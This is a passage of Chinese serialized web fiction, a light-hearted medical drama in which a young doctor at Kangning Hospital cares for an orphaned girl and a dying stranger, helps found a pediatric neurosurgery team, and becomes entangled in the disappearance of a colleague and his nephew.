最开始孟闵还兴致勃勃,最后跑回家里求救,“你们管管他俩!还要比谁的炮仗声音更响,凭什么我的炮仗声音最小?!” 一屋子人笑而不语。 黄夏兰:“玩你都比不过人家,完蛋!” 大年初二,南栀和陆随一起去医院值班。 陆随住的是客房,出门时好几个邻居来看热闹,不过倒是不太奇怪,对他们来说订婚了基本上就是自家人了。 人家孩子家里没人,还不能一起过个年了? 大年初二大部分同事还在休假,医院的人比平时少。 急诊接了几个喝酒喝过头的病人,其中一个人喝得太猛倒在酒桌上,没救过来。 南栀刚下陆随的车,就看到前两天见过的小乞丐。 小女孩站在一个拎着豆浆油条的女人身后,眼巴巴看了好一会儿,忽然抢走油条转身就跑。 豆浆是直接倒在塑料袋里的,她动作过猛,塑料袋被扯碎,豆浆流了一地。 女人气得骂道:“哪个不长眼的?!我刚换的衣服,你把油条拿过来!” 南栀拽拽陆随,“去看看?” 女孩跑得快,女人追不上她。 南栀和陆随冲过去,女人喊道:“把她抓回来!要吃油条好好说我给你一根,哪有直接抢的!” 小女孩飞快地倒腾腿,脸色煞白。 南栀担心她跑进车道,和陆随一起先躲起来,等女孩认为没人追速度变慢,才又悄悄跟上去。 这一回没有其他人阻碍,南栀没再跟丢。 女孩一路走出繁华的城区,路边出现大面积的田地。 她把油条藏在衣服里,好几次盯着油条流口水,回过神后又会小跑几句。 女孩一直跑到一条干枯的河边,过河的木桥下铺着报纸。 虽然有桥,可也不能挡风遮雨,但能看出这里是女孩的秘密基地。 南栀问:“为什么一定要回来再吃?” “还有其他人?” 话音落下,女孩掀开报纸。 在混乱的报纸之间南栀隐约看到一张人脸。 之所以说是隐约,实在是那人脸太过平面,而且很小。 女孩把油条往那人嘴里塞,但没有得到回应。 南栀和陆随同时朝女孩跑去。 他们突然出现,女孩明显被吓到,她试图拖着报纸下的人走,但她显然没有那么大的力气。 南栀道:“你别害怕,我们见过面,还记得吗?我和哥哥都是医生,这个人……是你的亲人?他生病了,我帮你看看?” 女孩似乎认出南栀。 陆随道:“我们是在医院门口遇到的,想起来了吗?” 女孩点点头。 南栀走近女孩,她没再躲。 南栀这才看清报纸下的人,她是短发,脸颊凹陷,瘦得太厉害,已经无法从容貌辨认性别。 南栀和陆随靠近时,女人依然没有睁眼,但南栀能听到她微弱的呼吸声。 她的状态让南栀心惊。 南栀看向陆随:“恐怕已经……” 陆随道:“先送医院看看吧,万一呢?” * 女孩称自己叫雯雯,是孤儿,四五岁就被家里人丢出来,一直在外面流浪。她平时经常去翻垃圾堆,走到哪儿捡到哪儿,最近才来康宁医院,遇到几个好心人,就一直没走。 南栀把两人带回医院。 病人被收到普外,南栀陪她去检查,雯雯跟在后面。 下午才等到CT结果,普外的医生委婉道:“南医生,我就不和你绕弯子了,她的情况没必要再花钱了。” 南栀把雯雯推到走廊,关上诊室门,“您说。” “唉,病太多了,最主要的还是癌症,肝癌晚期,已经转移了。” 女人脸色蜡黄,只呼气不吸气,发不出声音,来医院之前南栀已经有心理准备。 南栀问:“没有治疗手段了?” “开刀的价值都没有,看她的状态,就这两天了。对了,她还有个问题比较特殊,她到底是什么人?” 南栀也不清楚,“什么问题?” 医生指了指脑子,“她脑子里有弹片。” * 南栀把雯雯带到儿科办公室。 阮乔和南栀一起值班,两人看着小朋友发呆。 雯雯是乞丐,女人看看也差不多,两人的衣服加在一起都凑不成完整的一套。 南栀给雯雯找来外套,让她先穿上,“下班之后我带你去澡堂洗澡,再去吃饭好不好?” 雯雯一直往外看。 南栀问:“你在找她?她是你的妈妈?” 雯雯摇头。 “是其他亲人,还是朋友?” 雯雯说:“我不认识她。” 听到答案的两人愣住。 雯雯拿到面包和油条时,第一时间跑向女人,怎么会不认识她? 雯雯说:“我在路边遇到她的,她看起来很疼,我把她带回去,她应该会饿,我不吃东西就会饿的,但她好像很挑食,我带的东西她都不喜欢吃。” 南栀迟疑道:“你不认识她,为什么要给她带东西吃?” 雯雯理所当然道:“不吃会饿啊。” 南栀和阮乔都愣住。 雯雯的理论很纯粹,纯粹到让她们羞愧。 南栀摸摸雯雯的头,“乖,以后不会挨饿了。” 雯雯和女人在初雪中相识。 女人穿着薄薄的衣服躺在路边,和马路牙子齐平,身上还有一层雪。 如果不是两个眼睛仍然会转,雯雯肯定不会注意到她。 雯雯察觉到女人很冷,想到自己找到的风水宝地,便将她拖到桥下。 她一个小姑娘想拖着无法用力的女人往前走实在困难,但她很聪明,在垃圾场找来一个带轮子的货筐,先把女人丢进筐里,再拉着往前走。 轮子不太好用,她的风水宝地其实不远,但拖了两个多小时。 雯雯想和女人说话。 最开始她还能发出一些音节,会回应雯雯,但没多久,她连声音都发不出来了。 雯雯不知道她是谁,也不知道她从哪里来,但每次讨到东西吃,都会分给她。 直到最近,女人什么都不肯吃,连水都不愿意喝,雯雯想,可能是她带回来的东西不好吃,她得去找点儿好吃的。 中午南栀带着雯雯去食堂吃饭。 值班的医生不多,又是过年,大厨特别痛快地炒了两盆肉菜,满满都是肉。 南栀多给雯雯打了一份,其他科室看见雯雯,都来逗她,“南医生和陆医生的私生女?” “人家两人光明正大,怎么叫私生女?” “对哦,要不就是南医生的妹妹?” 南栀点点头,把雯雯带走。 陆随打好饭走过来,“知道女人的身份了吗?” 南栀摇头,“只知道她脑袋里有弹片。” “经历过战争?还是遇到过歹徒?” 南栀说:“位置很深,但恰好没有碰到要害,应该跟了她很多年。” 阮乔更在意女人为什么会出现在街上,“是被孩子扔出来了吧?她都不能动了,怎么会自己跑到街上?” 她可能是经历过战争的可怜人,基础病很多,肝癌晚期,在濒临死亡之际出现在街头,阮乔没法不同情。 南栀说道:“有可能,而且她脑袋里的弹壳,还有解释。” “什么?” 南栀问:“她会不会是军人?” 军人,真的参加过战争,肝癌晚期,被丢在大街上。 阮乔都不敢继续想。 雯雯听不懂这些,她安静地啃猪蹄。 南栀怕她难过,也不再提女人。 下午,女人的所有检查报告都出来了,医生把南栀叫过去,明确道:“撑不住了,我知道她不是你的家人,给她做检查已经仁至义尽,别再浪费钱。” 南栀作为医生,只要患者预后良好,有好转的可能,她都要尽全力去医治。 她知道医生说出这种话时,是真的在为患者好。 砸钱没有意义,而且患者仍然会痛苦。 南栀说:“明白,人还是留在医院,不做没必要的抢救,尽量减轻她的痛苦。” 南栀去女人的病房看望她。 她的病历上没有属于她的名字,医生问话,她也无法回答。 女人脑袋里有弹片的事很快传开,连争作为恰好值班的领导,前来表示适当的关怀。 “小南啊,做得不错,费用方面不用太担心,不能让你一个人承担。如果她真的是军人,再怎么救都是医院应该做的。更何况现在我们也没办法做什么。” 阮乔竖起大拇指,“好领导!” 南栀跟着夸赞,“不愧是连院长,一定会带领我们把康宁医院发扬光大!” 连争晕乎乎的。 晕完又觉得不对劲,这套路怎么似曾相识? 雯雯拿着两朵花走进来。 花瓣是鲜艳的黄色,说不清具体是什么花,花朵在小姑娘手中闪闪发光。 她把花放在床头柜上,南栀才意识到这其实是假花。 现在还是冬天,哪里搞得到鲜花? 雯雯伸出手,摸摸女人的头,“这里的饭很好吃哦,不要再挑食了。” 女人眨了眨眼睛。 雯雯在儿科留了两天,女人吊着一口气,一直坚持着。 南栀每天都去陪她们,直到春节假期快结束。 雯雯每天都去给女人找花。 她买不起,只能去垃圾堆里翻人家丢的假花,认真清洗后再送给女人,南栀从家里带来一个花瓶,所有假花都放在花瓶里。 阮乔说假花的寓意不太好,但南栀想,相比雯雯的心意,其他事没那么重要。 然而就在南栀在给女人准备后事时,变故再次发生。 给女人送假花的雯雯走出病房后突然摔倒,左侧身体无法控制。 接到消息后,南栀立刻赶往医院,直接带雯雯去做头颅CT,这病她太熟悉了。 头颅CT能看到的影像有限,可以确定的是,雯雯脑中有边界尚可的肿瘤。 进一步检查,康宁医院没法做。 连争办公室,南栀和阮乔领着可怜巴巴的雯雯不走。 连争头痛道:“临川市是没有MRI了,我没记错的话,省会也没有。如果要去做检查,可能必须去首都。” 雯雯抱着南栀不愿撒手,小声说道:“她还没醒呢。” 雯雯说的是女人,她最近两日昏睡的时间越来越久。 连争说:“可只有去首都,你的病才有可能治好。” 阮乔叹气道:“咱们省的医疗什么时候能发展发展?一二来去多耽误事。” 连争警觉地看向阮乔。 他现在很聪明!很清醒!不会被忽悠! 阮乔问:“为什么咱们总是有很多病看不了呢,是我们不行?” 连争:“!” 点他,又想点他! 南栀说:“这种程度的手术我能做,不过雯雯的情况不着急,还是去儿研所更好,那边设备多,我去联系儿研所的同事。” 连争:“!” 威胁,这是威胁! 南栀和阮乔离开办公室。 南栀奇怪道:“刚刚连院长看我们的目光像是防贼,为什么?” 阮乔耸肩,“领导都这样。” 办公室内的连争:她们刚刚是在点她吧?! 第二日,儿科忽然接到通知,集体去会议室开会。 一般情况下主持儿科会议的都是祁念珍,今天连争亲自到场,祁念珍都只能做陪衬。 除了儿科的几位医生,庄鸿带领的神外也来了,出人意料的是韩阅松也在。 医务部的人来干嘛?有纠纷? 祁念珍笑而不语。 连争刚走过去,庄鸿带头鼓掌,神外医生们紧紧跟随主任的步伐。 儿科众人面无表情看着他们。 倒不是对连院长不尊重,这不还没开始讲话吗? 连争依稀能从他们的目光中看到两个科室在互骂。 神外:愚蠢。 儿科:马屁精。 连争清了清嗓子:“今天召集大家开会,是要告诉大家一个好消息……也不见得是好消息。哦,鼓掌就算了,尽快开完会,我还有重要的事情要做。” 女儿送来的她亲手包的饺子马上就凉了。 连争说:“大家的需求,我都有看到,过年前已经在联系设备问题,这一点大家放心,该花的钱,医院一定不会省。” 神外众人:谁的需求?? 这回轮到儿科鼓掌。 阮乔激动道:“是核磁共振吗?连院长太帅了!!” 两个科室的目光发生微妙的变化。 儿科:愚蠢。 神外:马屁精! 连争挥挥手, “说了别鼓掌,耽误时间。既然咱们医院有人能动手术,那设备上必须跟得上,而且儿科最近一年的成就有目共睹,希望你们能保持向上的劲头……” 祁念珍小声提醒,“院长,这话也浪费时间。” “哦对,”连争说,“希望你们别让我浪费钱,做不出来亮眼的手术,提头来见!” 医院决定在儿科之外单独组成一支小儿神外的手术团队。 由于人员有限,手术团队同时属于儿科和神外,南栀为主刀,阮乔、魏联和韩阅松为助手,其余人由神外出。 神外听明白了,“就是我们出力但不讨好?” 连争道:“话不能这么说,你们本来也没几台手术,该出出力了。” 神外:“……” “与成人有关的神外疾病,南栀不能推脱,至于科室内部的工作安排,各科主任来协调。为了保障手术团队能起到作用,南栀有问题可以直接向我请示。” 阮乔几人爆发出欢呼。 连争前几日没有明确表态,他们还以为事情进展不顺利,没想到连院长是闷声干大事的人! 现在南栀有设备有人,还有特许令,就可以大展拳脚! 神外医生面无表情地看着他们。 庄鸿提醒道:“以后有人帮我们分摊工作,我们就能……” 神外医生忽然精神振奋。 就能更彻底地躺平了! 一瞬间,神外鼓掌的声音比儿科还大。 阮乔带头不服气。 会议变成鼓掌大赛。 连争在心里琢磨着饺子还有多久才会凉。 和谐的氛围下,只有尚延很难过。 儿科好不容易多几个医生,现在又少了!坑他!纯纯是坑他! 等儿科安静下来,轮到连争坏笑,“你们以为有手术团队就够了?年轻,天真,你们的路还远着!记住这批设备的钱,每天挨个提问!” 年轻人有能力有理想,他作为前辈,能做的只有尽量为他们遮风挡雨。 但是…… 他们必须知道他这把伞花了多少钱!! * 虽然连争泼了一些冷水,但总的来说这是好事,起码南栀以后能光明正大做手术。 而且因为去年康宁医院的口碑大幅度提高,今年的资金也相对宽裕,买设备不是太大的事。 当然,连争是顶了很大的压力的,毕竟省里还缺很多设备。 南栀必须得让连争看到,买来的设备是值得的! 回儿科的路上,阮乔举手提问:“道理我都懂,但是……他为什么会进来?!” 所有人都看向韩阅松。 他明明就是医务部的! 韩阅松推了推眼镜,弱弱道:“我学的也是外科。” 他不想留在医务部。 南栀对韩阅松不太熟悉,但秉着多一人是一人的理念,她欣然接纳韩阅松。 年后,设备运进康宁医院,南栀还要教其他人使用设备。 幸好她在儿研所以防万一都学了。 培训两天后,第一个使用设备的人就是雯雯。 雯雯的运气看起来不错,肿瘤不大,边缘清晰,位置不牵扯到神经和血管,在肿瘤切除手术中算是简单的。 南栀当即决定等雯雯做好术前准备后,就给她开刀。 以前在儿研所,是病人们排队等医生,而康宁医院刚好相反,一屋子人都在等雯雯做准备。 麻醉前,雯雯小声问道:“做完手术,我就不会头痛了吗?” 南栀点头。 “也不会晕了?” 南栀再次点头。 雯雯问:“能看到她吗?她长得很像我的妈妈。” 这是雯雯第一次说出要帮女人的原因,但南栀知道,雯雯是被爸爸妈妈丢出家门的。 南栀说:“她在等你。” 吸入麻醉的雯雯闭上眼睛。 同一时刻女人的病房引起骚动。 她已经好几日没有动过,连睁眼睛都没有。 就在刚刚,她竟然靠自己的力量坐起来,口中已经无法发出声音,但她瘦骨嶙峋的胳膊一直伸向床头柜。 护士拿起床头柜上的水杯,女人没有理会。 护士又拿起止痛药,她依然没有反应。 护士最后拿起仅剩的花瓶。 女人手指触碰到假花,露出笑容,手慢慢垂了下去。 病房再度安静。 第97章 第97章靠脸 临川市福利院常年经费不足,但康宁医院和他们有过几次来往。 现在扔孩子的还真不少,尤其是女婴和病婴。 良心稍微多那么一点点的,会把孩子扔在医院门口。 南栀就曾看到急诊抱着婴儿去抢救。 连院长出面,将雯雯安排进福利院里。 儿科还与福利院达成合作协议,定期帮小朋友们检查身体,如果遇到大病,也可以在一定程度上优惠。 周末,南栀和阮乔结伴去看望雯雯。 她还挺适应新环境,虽说过不上大富大贵的日子,但起码有了一个遮风避雨的地方。 只是她还是有捡假花的习惯。 周一上班,南栀顺便给死去的女人烧了点儿纸。 女人的年纪在五十岁左右。 匆匆岁月,孑然一身地离去,骨灰盒上甚至没有属于她的名字。 南栀回到办公室。 阮乔正用鸡蛋壳练习,她闲得无聊,把鸡蛋那层膜缝上了。 韦宁雨评价道:“鸡知道自己的蛋还有还要经历酷刑,肯定不愿意下蛋。” 阮乔说:“我这是为人类做贡献。” “可算了吧,”韦宁雨说,“你上次带的猪肉,煮熟之后都能看见密密麻麻的针孔,我看着都害怕,你给猪肉下诅咒了?” 南栀说:“这应该叫密集恐惧症。” “啥?密集还会恐惧?我看见密集的硬币不会害怕啊。” 阮乔:“……” 她也不害怕。 魏联推门走进来,一边穿白大褂一边嫌弃三人:“手术团队成立一周了,除了雯雯的手术,还做过其他手术吗?” 手术团队的招牌已经挂了出去,但至今为止还没有患者上门。 连院长的恐怖笑容饱含深意。 真有需要开颅的大手术,能看得起病的,都希望去首都看病。 看不起的,也不太想花钱做什么检查。 设备有、手术团队也有,但患者的信任还没有。 魏联经验较多,给南栀做一助。 阮乔不服气道:“这都得慢慢来,哪能刚开始就成功?要有耐心!” “小二,”魏联说,“一直干等着只会技艺生疏,连院长托人搞来的设备也会长毛。” 虽然南栀经常给阮乔开小灶,阮乔也进步飞快,但考虑到她经验比较少,目前还是二助,魏联就给她取了这么个新名字。 谁让他们叫他小魏! 阮乔:“!!,小一你别太过分!” 虽然他们都不想承认,不过手术团队目前的确面临不被信任的问题。 南栀想了想,拿纸杯倒了热水,殷勤地坐到韦宁雨身边,“俊俊,喝水。” 韦宁雨:“……” 他看向窗外,“世界末日了?” “俊俊啊,我有事要拜托你。” 韦宁雨说:“我不犯法。” “我怎么会做这种事?” 韦宁雨:“我的头也不能爆。” “……” 韦宁雨尖叫:“别想在众目睽睽之下给我动手术!!” 南栀:“……” 可怜的孩子被阮乔吓成什么样了? 南栀说:“我是这样想的,你不是擅长做生意吗?我的笔记都是你卖出去的。” 韦宁雨自豪道:“就没有我卖不出去的东西!” “所以呀,你能帮忙。” 韦宁雨说:“……我是做生意,医院的生意可做不了。” “看起来都差不多啊,患者交钱,我们动手术,医院 也需要宣传嘛。“南栀说,“我是这样想的,咱们是不是也能做个宣传?比如和福利院的合作,这是好事嘛,但是只有我们自己知道,临川市其他人都不知道。” 韦宁雨眼睛转了好几圈,“这算是公益了,确实值得宣传。” “可以提一句雯雯的手术,我先去问她,如果她同意的话。” 这样宣传了医院,也能让市民关注到福利院的情况,对福利院有好处。 顺便再提提雯雯的手术,这是临川市自己做的手术,手术非常成功。 韦宁雨说:“我在报社有朋友!!” 阮乔悲哀道:“我们混得真惨,还得自己去找患者。” 韦宁雨道:“胡说什么?将来我们是超越儿研所的存在!” 阮乔:“……” 随地洗脑。 连院长就是这样被忽悠的吧? 宣传起效果还需要一段时间,在向市民宣传之前,他们还得在行业里亮相。 正好陆随要去参加病例研讨会,汇报许斌手术的内容。 许斌手术的成功临川市乃至省里都是大事,在此之前省内没有类似成功的手术经验。 南栀和阮乔也跟着去凑热闹。 会议现场聚集了市内所有医院的心外科医生。 部分医院对心血管科室的分类不详细,还有主攻冠心病的医生过来,不过基本上是外科医生。 陆随今天要作报告,特意穿了西装。 他临时买的一套西装,不太合身,穿上西装后虽然好看,但稍微显得单薄了些。 南栀和阮乔盯着陆随若有所思,“长得不错。” “就是娇弱了些。” 陆随:“……” 他裹紧西装,“别看我!” 阮乔:“嘁,大街上的男的经常看我,我都没捅瞎他们。我们对你,这叫欣赏。” 南栀说:“别看他们,他们太丑。你好看,我们多看。” 陆随:“……” 他是说不过南栀和阮乔的。 恩德医院也有外科医生过来。 不过他们心外主任现在在局子里,心外科可以说是一蹶不振,来的是普外的医生。 田宏嘚瑟地跷着二郎腿。 他们医院的医生少了好几个,现在他是重点培养对象。 重点培养! 田宏看见陆随和南栀,起身走过来,“你们也来了?你不是儿科医生吗,怎么每次都跑来凑什么热闹?” 南栀则敬佩道:“还是田医生厉害呀,才过去多久,就从普外转到心外了?” 田宏:“……” 阮乔说:“英雄!” 田宏想讽刺回去,但看着阮乔和南栀,脸诡异的红了起来。 他把矛头对准陆随,“陆随,你天天跟在女人身后,丢不丢人?” “还好,”陆随客气道,“我不关心性别,只关心事业,康宁医院还能开多久,这是我在意的事情。” 他说着顿了两秒,问:“恩德医院还在正常开放?” 南栀惊讶道:“我还以为该关门大吉了。” 阮乔说:“有些事啊~全院都有参与~” 田宏:“……” 以前他以在恩德医院工作为荣,现在……实在荣不起来。 田宏强调:“他们不能代表我,这些坏事我又没捞到好处,不能盖住我个人的光芒!” 陆随:“你还知道是坏事?” 阮乔:“是坏事,就该夹起尾巴做人。” 只有南栀在好奇,“你个人有什么光芒啊?” 不是质疑,纯好奇。 田宏:“……” 康宁医院的人太不是东西!! 会议开始,今天分享病例的只有三个医生。 这对临川市来说已经很不容易了,毕竟他们条件有限。 南栀和阮乔坐在台下等。 心外科的手术阮乔只看过那么两三台,不是十分了解,好在有南栀给她讲解。 虽然二人说话声很小,但前排还是能听到一些,时不时有人回头看她们。 方才田宏说她们是儿科医生时,有部分人都听到了,南栀和阮乔还年轻,模样也漂亮,挺像是带孩子的儿科医生。 儿科医生还有了解心外手术的? 金瑞姗姗来迟。 他不是来交流心脏病的,他是听说南栀会过来,特意来参加会议。 休息时间,金瑞坐到南栀身旁,“听说连院长引入了新设备。” 南栀说:“核磁共振。” “发展得真快,”金瑞感慨道,“CT还没用几天,又有新的设备。” 南栀笑道:“儿研所的CT用了有八九年了,是我们用得太晚。” 金瑞问:“你们真要研究神外手术?” 金瑞现在是半个全科医生,恩德医院的儿科也没分那么仔细,如果是儿科处理不了的情况,就会往其他科室送。 南栀说:“不是研究,已经可以做了。” 好几个医生看过来。 现在临川市叫得上名的医院也就是恩德和康宁。 业内人都能看得出来,康宁医院的儿科和心外科和他们的医院已经不是一个档次。 但真说要专门办给孩子开刀的诊室,还是专门针对神经外科的,听起来还是匪夷所思。 “开颅手术对我来说是最难的手术,”金瑞有些担心,“你们团队刚组起来,还没做出点儿成绩,设备就进来了,是不是不太好?” 如果南栀没能做出点儿成绩来,恐怕会落人口实。 在院长那边也不好交代。 看过来的人更多了。 “康宁医院的手术团队?专门给小孩儿做手术?这不是开玩笑吗?” “谁知道啊,她看起来年纪挺小的,已经是主刀了?” “我现在终于理解患者家属为什么想找年纪大的医生,这种年纪轻的,我还真有点儿不放心。” 田宏朝南栀扮鬼脸,“瞧瞧,可不是我一个人这样想。” 阮乔冲他们挥着拳头,“我手艺不如南栀好,但我打人可疼!我们栀栀是去儿研所学过的,你们上过学念过书吗?!” 几个小医院医生的学历还真的不好见人。 “主要是给孩子做手术,孩子得脑病的也不多,如果真会做开颅手术,给大人治病多好,浪费了。” 人群中,只有一个医生没搭话,他忐忑地看着南栀,若有所思。 阮乔把人赶走。 金瑞问:“你们磨合得怎么样?阮乔也能行?” 阮乔:“!” 她暴躁道:“我练得最多,我家猪都不乐意了,你质疑我?!” 南栀把阮乔拉到身后,“乔乔很厉害的,现在做助手都可惜了。” 金瑞显然不信。 他不仅不信,甚至很担心。 虽说他知道南栀的实力,但这种从未有过的手术团队,还是太冒险。 陆随最后做报告。 这是最近两年,临川市心外科最轰动的手术。 如果不是因为涉及刑事案件,早就拿到会议上讨论了。 其他医院的医生们—— “康宁最近一年真是不同以往,支楞起来了。” “其实人家本来就是老牌医院,早先是外国人建的,有七八十年了吧?” “唉,恩德不行了,我以为我们医院还有机会,没想到让康宁医院抢先了,我的工资还能不能涨?” 恩德医院虽然糟心,但医生待遇可真是不错。 谈到康宁,又有几人想到康宁的儿科。 专门成立一个儿科神外的手术团队…… 他们看向南栀。 此时此刻的南栀和阮乔—— 南栀:“陆随还是穿黑色西装好看。” 阮乔:“灰色肯定也合适,不信你给他买一套。” 两人异口同声:“主要还是靠脸!” 医生们:“……” 第98章 第98章失踪啦 会议在众多外科医生对以南栀为首的手术团队的质疑和对陆随颜值的探讨下结束。 这就是韦宁雨安排两人参加会议的目的——引人注目。 别管是不是黑红,反正现在所有医院都知道南栀的手术团队,这就是效果! 散会后,南栀和阮乔商量着她们在儿科的工作安排,忽然有人叫住她们,“您姓南?南医生?” 南栀礼貌问道:“您是?” 范昌伸出手,“我是中心医院的医生,我姓范,刚才听您说,康宁医院可以做核磁共振了,您有切除脑瘤的手术经验?” 南栀点点头。 正巧经过的田宏嫌弃道:“你还真敢找她?还不如来恩德看看,如果是恩德动不了的手术,临川市就没希望了。” 阮乔说:“对啊,恩德医院比我们厉害多了,蹲局子的比例远远高于康宁。” 南栀腼腆地笑笑,“确实比我们更了解刑法。” 田宏:“……” 他未来都要在这种讽刺中度过吗? 他们恩德医院真的站不起来了?! 范昌显然没心情和田宏争辩,他说道:“其实是我侄子病了,才四岁,就查出来这种病,情况比较特殊,我们一直没下定决心,如果您有经验的话,我能不能带孩子去看看?” 田宏抢着说道:“你不知道培训进修都很水吗?” 阮乔:“连进修都没去过的,不得是汪洋 大海?” 她和田宏称兄道弟,“咱俩加一起那就是汪洋大海——” 田宏:“……” 他怎么觉得阮乔和南栀说话一个调调? 这是康宁医院的传统? 再看南栀,又是一副真诚的样子,真诚地说他水。 田宏:“……” 陆随被留下来和领导谈心才走过来,“田宏?还不走,普外其他人都走了,你要多向他们学习,总考倒数第一可不好。” 田宏:“……” 果然都是一个调调! 田宏被其他同事拉走。 恩德医院的医生现在最不乐意和康宁起冲突,这太古怪了,好像自从和康宁医院杠起来,他们就越来越倒霉。 现在院长都快折进去了! 挑事精离开,范昌继续说道:“我家里条件一般,爸妈走了,也就这么一个侄子,如果能在临川就把手术做了,当然是最好的。” 南栀给范昌留下联系方式,让他明天去康宁医院做检查。 来一趟研讨会,收获一个病号,是一大进步。 与此同时,韦宁雨也带来好消息,这大半年南栀陆陆续续整理了很多笔记,其中小部分被韦宁雨拿去卖给单纯大学生,剩下的都是南栀为阮乔整理的。 出版社对笔记很感兴趣,还想让南栀再多写几篇文章。 出版社会支付稿费,不过现在大家的关注点都不在稿费上,如果能顺利出版,对手术团队很有好处! “出版周期比较长,但我们要把目光放长远,手术团队不是一天两天就能被信任的,咱多宣传,早晚会成为康宁医院的王牌!” 韦宁雨说得比较含蓄。 毕竟这不是在给连院长画饼。 阮乔挥舞手臂,“要做就做最牛的!” 韦宁雨:“最牛的!” 魏联推门走进来。 魏联关门走出去。 屋里在洗脑?? 韦宁雨把魏联拉进来,“我还有个主意。” 南栀几人凑过来。 “我发现人家都有医学杂志,咱们省好像没有像样的杂志。” 除了首都那几个比较出名的期刊,出名点儿的医院也会有自己的期刊。 南栀对几本军区医院的杂志记忆深刻。 像康宁医院曾经的水平,当然不会拥有自己的杂志,有了也没人关注。 韦宁雨说:“你就继续写,内容比较好的,继续投稿,将来对你有帮助,内容一般的,我们收集起来自己出版。不能只有你写,陆医生和萧医生都得出一份力,不然办不起来。” 就算他们三个人都写,也有点儿办不起来,还得有更多人加入。 第二天中午,儿科众人分散到各个科室的饭桌上,往常最热闹的科室散了,满满当当的食堂听起来冷冷清清。 南栀坐在消化内科,阮乔去骨科,韦宁雨比较厉害,直接把心内和心外拉到一起。 魏联见到这架势,端着餐盘默默走开。 丢人,太丢人! 于是在一个普通的中午,所有医生统一被洗脑——“你一定行!多写!多练!多学!加油!” 医生们最开始听得很迷糊,有几人还很抵触,他们都混到康宁医院了,还咋努力? 韦宁雨:“同志们,现在儿科和心外已经起来了,大家没发现每个科室都来了很多新人?我们医院不是从前的医院了,一起努力,医院就能更进一步!让我们携手并进,让康宁医院成为临川市最好的医院!不,是全国最好的医院!” 医生们不为所动。 韦宁雨:“让我在最好的医院里做最赚钱的医生!” 医生们:“赚钱!!” 领导们姗姗来迟,见到的就是这么一幅“群情激奋”的画面。 “要我说,我们科室就是被主任耽误的,主任什么都不管,什么都无所谓,我们怎么进步?” “别提了,我们科有一个10点上班3点下班的医生,从来都没见主任管过,大家都寒心。” “唉,摊到这样不上进的领导,真倒霉!” 有人提议,“我们得去和他们谈谈,不能让他们拖后腿!” 一大帮人放下筷子站起来,“去谈!” 领导们:“……” 他们放下餐盘,“我们……改天再吃饭!” 食堂大厨:“??” 这还能改天? 难道是他今天的手艺有问题?? 南栀在办公室等了一天都没有等到范昌。 她没有留范昌的联系方式,只知道他在中心医院。 考虑到他可能有事情要忙,南栀没去联系他。 还没下班,阮乔带来一则重磅新闻,“栀栀你看,这个人是不是范医生?他今天是不是没来!” 阮乔拿着今天最新的报纸。 头版头条是一个女人举着一张照片,照片中的人就是范昌,是在室内照相馆照的,虽然是黑白照片,又很小,但还是能认出来。 这张照片刊登在报纸上,不是他做了什么好事,而是女人在控诉男人带走了她的孩子。 南栀读了一遍内容,“这是范昌的姐姐?范昌把侄子带走了?” 阮乔:“你这么快就看完了?!” 南栀的速度只够她看个标题再加第一段话。 难怪会有学渣和学霸的差距。 阮乔很忧伤。 她心甘情愿做一个学渣,但她身边能不能别安排学霸?! “新闻里说孩子四岁,是不是范昌说的生病的侄子?他明明说要带侄子来医院,怎么成拐卖孩子了?” 南栀也不太理解。 她给中心医院打去电话,询问范昌的去向,中心医院办公室的工作人员很恼火,“他今天没来上班,昨天晚上警察就来找过人,谁知道他是怎么想的?再这样下去,我们中心医院就快成恩德医院了!” 恩德医院院长频频打喷嚏中。 “我觉得不太可能,如果他想对侄子不利,昨天就不会找我们,我们是不是告诉警察一声?” 南职点点头,拿起话筒。 阮乔:“你知道是哪个派出所吗?得找准吧?” 南栀微笑着指了指报纸。 阮乔凑过去看,“罗……罗鸣警官?!” 刑侦队,罗鸣正为范昌的案件头疼。 范昌和侄子一起失踪,范昌的姐姐范渝指控弟弟带走了儿子。 但根据他们的调查,似乎有点儿问题。 罗鸣正想着,电话就响了起来,接起电话后,他脸色大变。 旁边的小警察问:“罗哥,是谁?” 罗鸣缓缓道:“是我的……跟踪伙伴。” 第99章 第99章埋啦 罗鸣带着两个警员在医院和南栀碰面。 南栀与罗鸣谈话时,两个警员在后面小声议论,“看罗队接电话时的态度,我还以为是犯罪嫌疑人打过来了。” “不是说了嘛,跟踪伙伴。” “蠢!跟踪伙伴应该是我们!” “……” 罗鸣戴着痛苦面具,“南医生,你和范昌又认识?你说你的职业是医生,怎么总和刑事案件搅到一起去。” 南栀好奇道:“罗队长没遇到过这些事吗?罗队长是刑警诶,自己都没遇到过线索呀?” 罗鸣:“……” 他是一个正常的普通人! 谁会天天遇到犯人! 南栀说:“许斌是您送到医院的呀。” 罗鸣:“……” 这倒也是。 罗鸣掏出笔记本,“你认为范昌不会把孩子带走?” 南栀说:“昨天我们去开会,他说他的侄子脑部有肿瘤,来向我询问手术的事,我们约好他今天把孩子带过来做检查,今天下午我一直等他,他没过来。如果他是预谋要把孩子带走,没必要来找我。如果是有突发情况,暂时还不能认为他是把孩子拐走。” 站着的警员说:“关于这一点,我们走访时倒是查到一些问题……” 罗鸣咳了一声。 许斌的案子,罗鸣没少给南栀几人透露情报,结果被领导痛批。 说他的活儿被医生抢了,丢人。 这次绝不能重蹈覆辙。 警员:“……恩。” 罗鸣严肃道:“关于案情,不太方便透露。” 南栀:“邻居说范昌对侄子还不错?” 罗鸣:“……” “仔细想想,范昌的姐姐说弟弟把孩子带走也很奇怪,他们平时有矛盾,姐姐才会这样想吧?现在还直接把弟弟的照片放在报纸上。”南栀疑惑道,“姐姐有问题?” 警员小声问:“她都猜出来了,还不能说吗?” 罗鸣:“!” 他们不说,南栀怎么会知道猜没猜对! 南栀见罗鸣不说话,便道:“罗哥,其实你们不用特意过来,我们过去也是一样的。” 罗鸣立刻拒绝,“不用,你们在帮忙,还是我们过来比较好。” 总觉得把南栀放到范昌家,会出更大的乱子。 会被领导骂的“大乱子”! 阮乔扶额。 她们栀栀难得高情商一把,人家罗队还不领情。 阮乔去给罗鸣倒水,“罗队长啊,我们栀栀刚才都猜对了吧?范医生的嫌疑很小,是不是?” 警察:“还真是,不过我们不是因为范丽才怀疑范昌……” 罗鸣一巴掌拍到他肩膀上。 警察:“……她们都猜出来了呀。” 罗鸣:“……” 他都带了什么人出来! 罗鸣说:“局长再来谈话,你去谈。” 